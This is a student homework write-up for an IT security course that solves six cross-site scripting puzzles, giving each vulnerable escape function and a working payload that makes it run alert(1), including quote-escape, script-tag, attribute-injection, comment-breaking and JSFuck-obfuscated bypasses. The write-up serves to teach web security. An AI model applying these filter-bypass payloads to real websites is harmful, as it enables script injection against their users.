Introduction to IT Security

Homework 8 – Cross Site Scripting

Abraham Murciano and Jacques Benzakein

October 1, 2020

1 Warmup

We are told that there is a function `escape` which takes our input string `s` and generates some HTML to log the text in the browser console. Our task is to give it input which would cause the browser to alert '1'. Below is the function.

```
function escape(s) {
    return '<script>console.log("'+s+'");</script>';
}
```

In this case, the string `"+alert(1)+"` (with quotes) would cause the browser to alert '1'.

2 Adobe

In this section, we have a slightly more complex `escape` function. This time it escapes any double quotes in the input string.

```
function escape(s) {
    s = s.replace(/"/g, '\\"');
    return '<script>console.log("' + s + '");</script>';
}
```

In order to successfully close the first open quote, we input `\"` which would be converted to `\\"`. We escape the backslash with our own backslash, leaving the double quote unescaped.

Then to get rid of the original double quote after we alert '1', we use `)//` to close the brackets and comment out the trailing quote. The final input was `\"+alert(1))//`.

3 JSON

Here, the `escape` function uses `JSON.stringify` instead of a regex replace. This also escapes our backslashes, so we cannot use the trick from the previous challenge. The code is the following.

```
function escape(s) {
    s = JSON.stringify(s);
    return '<script>console.log(' + s + ');</script>';
}
```

Instead, we are able to close the script tag and open a new one, then comment out the remaining code. Like this.

```
</script><script>alert(1)//
```

4 Markdown

Now we have a more complex function. The first statement replaces `<` and `"` with `<` and `&quot;` respectively. Then the next two statements simply perform some markdown processing on links and images.

```
function escape(s) {
    var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
    // URLs
    text = text.replace(/(http:\/\/\S+)/g,
        '<a href="$1">$1</a>');
    // [[img123|Description]]
    text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g,
    '<img alt="$2" src="$1.gif">');
    return text;
}
```

The trick here was to put a link inside an image description, so each of their double quotes would cancel each other out. Suppose we input the following string.

```
[[_|http://onerror='alert(1)']]
```

This string gets converted into the following HTML code.

```
<img alt="<a href="http://onerror=alert(1)//" src="_.gif">">
http://onerror=alert(1)//]]</a>
```

When the browser attempts to render this, it first sees an image tag, with an `alt` attribute with the value `<a href=`, since the quote immediately following the `=` closes the first one. Then the browser detects an attribute `http:` with no value, and then `onerror=alert(1)//"` becomes another attribute of this image tag in the form of `onerror="alert(1)//""`. The trailing double quote becomes part of the JavaScript, but it is commented out to have no effect. Then the remaining text simply becomes a text node.

So the `onerror` attribute's value runs as JavaScript code since the image `_.gif` was not able to load because it does not exist.

5 DOM

This time we have a function that takes a string which must contain a '#' symbol and manipulates the DOM to create an element of whatever type was specified before the '#', passing as a parameter whatever was after the '#'.

```
function escape(s) {
    // Slightly too lazy to make two input fields.
    // Pass in something like "TextNode#foo"
    var m = s.split(/#/);

    // Only slightly contrived at this point.
    var a = document.createElement('div');
    a.appendChild(
        document['create'+m[0]].apply(document, m.slice(1)));
    return a.innerHTML;
}
```

Attempting to create a text node containing script tags does not work, because the call to `document.createTextNode` converts all less than and greater than symbols into their HTML codes. However, creating an HTML comment and then closing the comment within the string allows the rest of the string to be treated as HTML code. Therefore the following code successfully alerts '1'.

```
Comment#><script>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+
!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]
+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[]
)[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[
]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])
[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[
])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]((![]+[
```

```
])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[]
)[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!
[]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]
]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]
]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])()</script>
```

Which happens to be equivalent to the much more human readable following:

```
Comment#> <script>alert(1)</script><!
```

6 Callback

In this challenge, the function takes a string which again is expected to contain a '#' symbol. It then generates a script tag which attempts to call a function with the name given before the '#', passing it a JavaScript object with a single property called "userdata" whose value is whatever was after the '#'.

```
function escape(s) {
    // Pass in "callback#userdata"
    var thing = s.split(/#/);

    if (!/^[a-zA-Z\[\]']*$/.test(thing[0]))
        return 'Invalid callback';
    var obj = {'userdata': thing[1] };
    var json = JSON.stringify(obj).replace(/</g, '\\u003c');
    return "<script>" + thing[0] + "(" + json +")</script>";
}
```

What worked in this case was to give a single quote as the function name, which was allowed according to the validation performed in the function, and to start the user data with a single quote as well. This has the effect of putting the code which started the object all in a string, which left the text after the '#' to be interpreted as JavaScript code.

After the `'#'`, we can put any symbol such as a semicolon, ampersand or plus followed by `alert(1)`, to cause the alert to be triggered. Then we would need to use two forward slashes to comment out the rest of the intended JavaScript which closed the object and function call. So the final input would look like this.

```
'#';alert(1)//
```

This would be converted by the function into what follows.

```
<script>'({"userdata":"';alert(1)//"})</script>
```